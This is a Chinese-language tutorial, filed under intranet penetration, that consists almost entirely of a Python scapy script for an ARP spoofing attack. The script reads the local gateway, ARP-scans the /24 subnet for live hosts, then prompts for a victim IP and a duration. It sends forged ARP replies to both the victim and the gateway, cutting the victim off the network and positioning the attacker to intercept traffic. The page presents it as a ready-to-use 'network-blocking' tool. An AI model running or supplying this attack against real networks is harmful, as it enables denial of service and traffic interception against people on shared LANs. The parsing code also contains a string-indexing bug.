实战自编阻网小军刀—ARP军刀实战

本案例涉及知识或技术

网络技术

内网渗透

数据包和头部定义

实用编程语言-python

适合人群

python基本

操作系统的命令

网络基本认知/二层/三层概念

# 攻击指定IP实现断网——ARP
# 原理:通过扫描当前攻击机的IP地址,得到内网的所有IP所在网关
# 组成ARP数据包,对网关内的主机发起Ping,有哪些主机存活
# 获得存活IP列表,选择需要攻击IP,发起攻击
# 步骤
# 1:获得当前的IP及网关route print
# 2:封装ARP数据包,以太网的包结构形式来发起ping,得到存活主机列表
# 3:得到存活主机列表
# 4:选择需要攻击或者阻网的IP
# 5:ARP攻击(封包/发包)--->代理,抓包
# 6:设置攻击时长

import os
import time
from scapy.all import *


# pip install scapy
from scapy.layers.l2 import Ether, ARP


def scan2spoof():
    netcard = ''  # 攻击的网卡
    cmdcode = 'route print'
    # 执行CMD命令获得当前IP和网关
    for line in os.popen(cmdcode):
        # 通过line获得IPv4和网关
        s = line.strip()
        if s.startswith('0.0.0.0'):
            iplist = s.strip()
            ip = iplist[3] #当前IP
            gw = iplist[2] #网关
            # print(ip)
            # print(gw)
            break
    print("使用的网卡是:{}".format(netcard))
    print("本机的上网IP:{}".format(ip))
    print("本机的上网网关:{}".format(gw))

    # 封装一个ARP数据包,符合以太网的包定义
    arppk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")
    ansip,unansip = srp(arppk, iface=netcard, timeout=2, verbose=0)
    print("扫描到{}台在线主机".format(len(ansip)))
    print("扫描到{}台不在线主机".format(len(unansip)))
    ansresip = []
    for s, r in ansip:
        ansresip.append([r.psrc, r.hwsrc]) #ip,mac
    ansresip.sort()  #去重排序
    for ip, mac in ansresip:
        print(ip, "----->", mac)

    # 代理/抓包
    # 阻断网络
    vip = input("请输入需要攻击的IP:")
    ttl = int(input("请输入需要攻击的时间(秒):")) #5
    # 以下实现ARP攻击即可
    for i in range(ttl*5):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vip, psrc=gw), verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw, psrc=vip), verbose=0)
        time.sleep(0.2)
    print("对{}的ARP攻击完成".format(vip))


if __name__ == '__main__':
    scan2spoof()